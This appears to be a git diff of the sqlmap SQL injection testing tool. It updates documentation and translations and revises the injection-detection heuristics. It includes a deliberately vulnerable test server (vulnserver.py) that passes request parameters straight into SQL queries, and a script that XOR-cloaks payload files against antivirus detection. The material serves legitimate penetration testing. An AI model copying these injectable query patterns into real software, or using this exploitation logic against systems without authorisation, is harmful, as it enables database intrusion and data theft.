         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 
@@ -1936,7 +1929,6 @@
         <details>
             <dbms>Microsoft SQL Server</dbms>
             <dbms>Sybase</dbms>
-            <os>Windows</os>
         </details>
     </test>
 

doc/CHANGELOG.md

@@ -1,14 +1,22 @@
+# Version 1.4 (2020-01-01)
+
+* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
+
 # Version 1.3 (2019-01-05)
 
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
 
 # Version 1.2 (2018-01-08)
 
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
 
 # Version 1.1 (2017-04-07)
 
 * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
+* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
 
 # Version 1.0 (2016-02-27)
 

doc/THANKS.md

@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
 Sherif El-Deeb, <archeldeeb(at)gmail.com>
 * for reporting a minor bug
 
+Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
+* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
+
 Stefano Di Paola, <stefano.dipaola(at)wisec.it>
 * for suggesting good features
 
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
 Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
 * for contributing a Portuguese translation of README.md
 
+Francesco Marano, <francesco.mrn24(at)gmail.com>
+* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
+
 Ahmad Maulana, <matdhule(at)gmail.com>
 * for contributing a tamper script halfversionedmorekeywords.py
 
@@ -486,6 +492,9 @@ Marek Sarvas, <marek.sarvas(at)gmail.com>
 Philippe A. R. Schaeffer, <schaeff(at)compuphil.de>
 * for reporting a minor bug
 
+Henri Salo <henri(at)nerv.fi>
+* for a donation
+
 Mohd Zamiri Sanin, <zamiri.sanin(at)gmail.com>
 * for reporting a minor bug
 

doc/THIRD-PARTY.md

@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
 * The `bottle` web framework library located under `thirdparty/bottle/`.
   Copyright (C) 2012, Marcel Hellkamp.
 * The `identYwaf` library located under `thirdparty/identywaf/`.
-  Copyright (C) 2019, Miroslav Stampar.
+  Copyright (C) 2019-2020, Miroslav Stampar.
 * The `ordereddict` library located under `thirdparty/odict/`.
   Copyright (C) 2009, Raymond Hettinger.
 * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.

doc/translations/README-fa-IR.md

@@ -0,0 +1,84 @@
+# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+
+<div dir=rtl>
+
+
+
+برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند.
+
+
+عکس
+----
+
+
+<div dir=ltr>
+
+
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+
+<div dir=rtl>
+
+برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید.
+
+
+نصب
+----
+
+برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
+
+
+طرز استفاده
+----
+
+
+برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
+
+
+
+<div dir=ltr>
+
+
+```
+    python sqlmap.py -h
+```
+
+    
+    
+    
+<div dir=rtl>
+    
+    
+برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید:
+
+<div dir=ltr>
+
+    
+```
+    python sqlmap.py -hh
+```
+    
+    
+<div dir=rtl>
+    
+
+برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
+
+
+لینک‌ها
+----
+
+
+* خانه: http://sqlmap.org
+* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
+* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
+* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* تویتر: [@sqlmap](https://twitter.com/sqlmap)
+* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-fr-FR.md

@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
 
     python sqlmap.py -hh
 
-Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
+Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
 Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 
 Liens

doc/translations/README-id-ID.md

@@ -2,7 +2,7 @@
 
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
-sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. 
+sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. 
 
 Tangkapan Layar
 ----
@@ -43,7 +43,7 @@ Tautan
 * Situs: http://sqlmap.org
 * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
-* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
 * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
 * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * Twitter: [@sqlmap](https://twitter.com/sqlmap)

doc/translations/README-pt-BR.md

@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
 Instalação
 ----
 
-Você pode baixar o arquivo tar mais recente clicando [aqui]
-(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
+Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
 
 De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
 

extra/cloak/cloak.py

@@ -19,28 +19,26 @@ from optparse import OptionParser
 
 if sys.version_info >= (3, 0):
     xrange = range
+    ord = lambda _: _
 
-def hideAscii(data):
-    retVal = b""
-    for i in xrange(len(data)):
-        value = data[i] if isinstance(data[i], int) else ord(data[i])
-        retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
+KEY = b"MOZFqVjlk1CY436G"
 
-    return retVal
+def xor(message, key):
+    return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
 
 def cloak(inputFile=None, data=None):
     if data is None:
         with open(inputFile, "rb") as f:
             data = f.read()
 
-    return hideAscii(zlib.compress(data))
+    return xor(zlib.compress(data), KEY)
 
 def decloak(inputFile=None, data=None):
     if data is None:
         with open(inputFile, "rb") as f:
             data = f.read()
     try:
-        data = zlib.decompress(hideAscii(data))
+        data = zlib.decompress(xor(data, KEY))
     except Exception as ex:
         print(ex)
         print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
 
 def main():
     usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
-    parser = OptionParser(usage=usage, version='0.1')
+    parser = OptionParser(usage=usage, version='0.2')
 
     try:
         parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')

extra/shutils/drei.sh

@@ -7,7 +7,7 @@
 
 export SQLMAP_DREI=1
 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
 unset SQLMAP_DREI
 source `dirname "$0"`"/junk.sh"
 

extra/shutils/pypi.sh

@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
 
 ::
 
-    python sqlmap.py -h
+    sqlmap -h
 
 To get a list of all options and switches use:
 
 ::
 
-    python sqlmap.py -hh
+    sqlmap -hh
 
 You can find a sample run `here <https://asciinema.org/a/46601>`__. To
 get an overview of sqlmap capabilities, list of supported features and

extra/shutils/recloak.sh

@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# NOTE: this script is for dev usage after AV something something
+
+DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
+
+cd $DIR/../..
+for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
+
+cd $DIR/../cloak
+sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
+
+cd $DIR/../..
+for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
+
+git clean -f > /dev/null

extra/vulnserver/vulnserver.py

@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
 
 from __future__ import print_function
 
+import base64
 import json
 import re
 import sqlite3
@@ -18,6 +19,7 @@ import traceback
 
 PY3 = sys.version_info >= (3, 0)
 UNICODE_ENCODING = "utf-8"
+DEBUG = False
 
 if PY3:
     from http.client import INTERNAL_SERVER_ERROR
@@ -83,7 +85,8 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
         try:
             HTTPServer.finish_request(self, *args, **kwargs)
         except Exception:
-            traceback.print_exc()
+            if DEBUG:
+                traceback.print_exc()
 
 class ReqHandler(BaseHTTPRequestHandler):
     def do_REQUEST(self):
@@ -131,7 +134,7 @@ class ReqHandler(BaseHTTPRequestHandler):
                 self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
                 self.send_header("Connection", "close")
                 self.end_headers()
-                self.wfile.write(b"<html><p><h3>GET:</h3><a href='/?id=1'>link</a></p><hr><p><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></p></html>")
+                self.wfile.write(b"<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>")
             else:
                 code, output = OK, ""
 
@@ -144,19 +147,27 @@ class ReqHandler(BaseHTTPRequestHandler):
                         if "query" in self.params:
                             _cursor.execute(self.params["query"])
                         elif "id" in self.params:
-                            _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
+                            if "base64" in self.params:
+                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
+                            else:
+                                _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
                         results = _cursor.fetchall()
 
-                    output += "<b>SQL results:</b>\n"
-                    output += "<table border=\"1\">\n"
+                    output += "<b>SQL results:</b><br>\n"
 
-                    for row in results:
-                        output += "<tr>"
-                        for value in row:
-                            output += "<td>%s</td>" % value
-                        output += "</tr>\n"
+                    if results:
+                        output += "<table border=\"1\">\n"
+
+                        for row in results:
+                            output += "<tr>"
+                            for value in row:
+                                output += "<td>%s</td>" % value
+                            output += "</tr>\n"
+
+                        output += "</table>\n"
+                    else:
+                        output += "no results found"
 
-                    output += "</table>\n"
                     output += "</body></html>"
                 except Exception as ex:
                     code = INTERNAL_SERVER_ERROR
@@ -191,8 +202,27 @@ class ReqHandler(BaseHTTPRequestHandler):
         length = int(self.headers.get("Content-length", 0))
         if length:
             data = self.rfile.read(length)
-            data = unquote_plus(data.decode(UNICODE_ENCODING))
+            data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
             self.data = data
+        elif self.headers.get("Transfer-encoding") == "chunked":
+            data, line = b"", b""
+            count = 0
+
+            while True:
+                line += self.rfile.read(1)
+                if line.endswith(b'\n'):
+                    if count % 2 == 1:
+                        current = line.rstrip(b"\r\n")
+                        if not current:
+                            break
+                        else:
+                            data += current
+
+                    count += 1
+                    line = b""
+
+            self.data = data.decode(UNICODE_ENCODING, "ignore")
+
         self.do_REQUEST()
 
     def log_message(self, format, *args):
@@ -202,7 +232,7 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
     global _server
     try:
         _server = ThreadingServer((address, port), ReqHandler)
-        print("[i] running HTTP server at '%s:%d'" % (address, port))
+        print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
         _server.serve_forever()
     except KeyboardInterrupt:
         _server.socket.close()

lib/controller/action.py

@@ -54,6 +54,8 @@ def action():
 
     conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
 
+    kb.fingerprinted = True
+
     # Enumeration options
     if conf.getBanner:
         conf.dumper.banner(conf.dbmsHandler.getBanner())

lib/controller/checks.py

@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import isDigit
 from lib.core.common import joinValue
 from lib.core.common import listToStrValue
 from lib.core.common import parseFilePaths
@@ -54,6 +55,7 @@ from lib.core.datatype import AttribDict
 from lib.core.datatype import InjectionDict
 from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
+from lib.core.dicts import HEURISTIC_NULL_EVAL
 from lib.core.enums import DBMS
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
@@ -97,6 +99,7 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData
+from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
@@ -115,7 +118,7 @@ def checkSqlInjection(place, parameter, value):
     threadData = getCurrentThreadData()
 
     # Favoring non-string specific boundaries in case of digit-like parameter values
-    if value.isdigit():
+    if isDigit(value):
         kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
         boundaries = kb.cache.intBoundaries
     elif value.isalpha():
@@ -224,8 +227,8 @@ def checkSqlInjection(place, parameter, value):
             # Skip test if the user's wants to test only for a specific
             # technique
             if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
-                debugMsg = "skipping test '%s' because the user " % title
-                debugMsg += "specified to test only for "
+                debugMsg = "skipping test '%s' because user " % title
+                debugMsg += "specified testing of only "
                 debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                 logger.debug(debugMsg)
                 continue
@@ -499,12 +502,13 @@ def checkSqlInjection(place, parameter, value):
                             # Useful to set kb.matchRatio at first based on False response content
                             kb.matchRatio = None
                             kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
+                            suggestion = None
                             Request.queryPage(genCmpPayload(), place, raise404=False)
                             falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                             falseRawResponse = "%s%s" % (falseHeaders, falsePage)
 
                             # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
-                            if not kb.negativeLogic:
+                            if not any((kb.negativeLogic, conf.string, conf.notString)):
                                 try:
                                     ratio = 1.0
                                     seqMatcher = getCurrentThreadData().seqMatcher
@@ -519,8 +523,6 @@ def checkSqlInjection(place, parameter, value):
                                 except (MemoryError, OverflowError):
                                     pass
 
-                            kb.prevFalsePage = falsePage
-
                             # Perform the test's True request
                             trueResult = Request.queryPage(reqPayload, place, raise404=False)
                             truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
@@ -568,7 +570,7 @@ def checkSqlInjection(place, parameter, value):
                                             candidates = sorted(candidates, key=len)
                                             for candidate in candidates:
                                                 if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
-                                                    conf.string = candidate
+                                                    suggestion = conf.string = candidate
                                                     injectable = True
 
                                                     infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
@@ -579,7 +581,7 @@ def checkSqlInjection(place, parameter, value):
                             if injectable:
                                 if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                     if all((falseCode, trueCode)) and falseCode != trueCode:
-                                        conf.code = trueCode
+                                        suggestion = conf.code = trueCode
 
                                         infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
                                         logger.info(infoMsg)
@@ -604,7 +606,7 @@ def checkSqlInjection(place, parameter, value):
                                                 if re.match(r"\A\w{2,}\Z", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                     break
 
-                                            conf.string = candidate
+                                            suggestion = conf.string = candidate
 
                                             infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
                                             logger.info(infoMsg)
@@ -618,12 +620,12 @@ def checkSqlInjection(place, parameter, value):
                                                     if re.match(r"\A\w+\Z", candidate):
                                                         break
 
-                                                conf.notString = candidate
+                                                suggestion = conf.notString = candidate
 
                                                 infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
                                                 logger.info(infoMsg)
 
-                                if not any((conf.string, conf.notString, conf.code)):
+                                if not suggestion:
                                     infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
                                     singleTimeLogMessage(infoMsg)
 
@@ -650,7 +652,7 @@ def checkSqlInjection(place, parameter, value):
                             except SqlmapConnectionException as ex:
                                 debugMsg = "problem occurred most likely because the "
                                 debugMsg += "server hasn't recovered as expected from the "
-                                debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
+                                debugMsg += "used error-based payload ('%s')" % getSafeExString(ex)
                                 logger.debug(debugMsg)
 
                         # In case of time-based blind or stacked queries
@@ -854,7 +856,9 @@ def checkSqlInjection(place, parameter, value):
             logger.warn(warnMsg)
 
         if not checkFalsePositives(injection):
-            kb.vulnHosts.remove(conf.hostname)
+            if conf.hostname in kb.vulnHosts:
+                kb.vulnHosts.remove(conf.hostname)
+
             if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
                 injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
 
@@ -875,19 +879,28 @@ def heuristicCheckDbms(injection):
     to identify with a simple DBMS specific boolean-based test what the DBMS
     may be
     """
+
     retVal = False
 
+    if conf.skipHeuristics:
+        return retVal
+
     pushValue(kb.injection)
     kb.injection = injection
 
     for dbms in getPublicTypeMembers(DBMS, True):
         randStr1, randStr2 = randomStr(), randomStr()
+
         Backend.forceDbms(dbms)
 
-        if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
-            continue
+        if dbms in HEURISTIC_NULL_EVAL:
+            result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
+        elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
+            result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
+        else:
+            result = False
 
-        if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
+        if result:
             if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
                 retVal = dbms
                 break
@@ -934,6 +947,9 @@ def checkFalsePositives(injection):
                 if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
                     continue
 
+                if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
+                    continue
+
                 if randInt3 > randInt2 > randInt1:
                     break
 
@@ -1022,6 +1038,9 @@ def checkFilteredChars(injection):
     kb.injection = popValue()
 
 def heuristicCheckSqlInjection(place, parameter):
+    if conf.skipHeuristics:
+        return None
+
     if kb.heavilyDynamic:
         debugMsg = "heuristic check skipped because of heavy dynamicity"
         logger.debug(debugMsg)
@@ -1572,7 +1591,7 @@ def checkConnection(suppressOutput=False):
         kb.originalPage = kb.pageTemplate = threadData.lastPage
         kb.originalCode = threadData.lastCode
 
-    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+    if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
         candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
 
         message = "you have not declared cookie(s), while "

lib/controller/controller.py

@@ -58,6 +58,7 @@ from lib.core.enums import NOTE
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapBaseException
+from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
@@ -290,7 +291,7 @@ def start():
         logger.error(errMsg)
         return False
 
-    if kb.targets and len(kb.targets) > 1:
+    if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
         infoMsg = "found a total of %d targets" % len(kb.targets)
         logger.info(infoMsg)
 
@@ -307,11 +308,20 @@ def start():
                     warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
                     dataToStdout(warnMsg)
 
-                    while not checkInternet():
-                        dataToStdout('.')
-                        time.sleep(5)
+                    valid = False
+                    for _ in xrange(conf.retries):
+                        if checkInternet():
+                            valid = True
+                            break
+                        else:
+                            dataToStdout('.')
+                            time.sleep(5)
 
-                    dataToStdout("\n")
+                    if not valid:
+                        errMsg = "please check your Internet connection and rerun"
+                        raise SqlmapConnectionException(errMsg)
+                    else:
+                        dataToStdout("\n")
 
             conf.url = targetUrl
             conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
@@ -326,6 +336,10 @@ def start():
                         conf.httpHeaders.append((header, value))
                         break
 
+            if conf.data:
+                # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
+                conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
+
             conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
 
             initTargetEnv()
@@ -372,7 +386,7 @@ def start():
                     message += "\nCookie: %s" % conf.cookie
 
                 if conf.data is not None:
-                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
+                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
 
                 if conf.forms and conf.method:
                     if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -403,14 +417,17 @@ def start():
                         parseTargetUrl()
 
                 else:
-                    message += "\ndo you want to test this URL? [Y/n/q]"
-                    choice = readInput(message, default='Y').upper()
+                    if not conf.scope:
+                        message += "\ndo you want to test this URL? [Y/n/q]"
+                        choice = readInput(message, default='Y').upper()
 
-                    if choice == 'N':
-                        dataToStdout(os.linesep)
-                        continue
-                    elif choice == 'Q':
-                        break
+                        if choice == 'N':
+                            dataToStdout(os.linesep)
+                            continue
+                        elif choice == 'Q':
+                            break
+                    else:
+                        pass
 
                     infoMsg = "testing URL '%s'" % targetUrl
                     logger.info(infoMsg)
@@ -687,6 +704,12 @@ def start():
                     action()
 
         except KeyboardInterrupt:
+            if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
+                kb.multipleCtrlC = True
+                raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
+
+            kb.lastCtrlCTime = time.time()
+
             if conf.multipleTargets:
                 warnMsg = "user aborted in multiple target mode"
                 logger.warn(warnMsg)

lib/controller/handler.py

@@ -11,47 +11,83 @@ from lib.core.data import kb
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
 from lib.core.exception import SqlmapConnectionException
+from lib.core.settings import ACCESS_ALIASES
+from lib.core.settings import ALTIBASE_ALIASES
+from lib.core.settings import CACHE_ALIASES
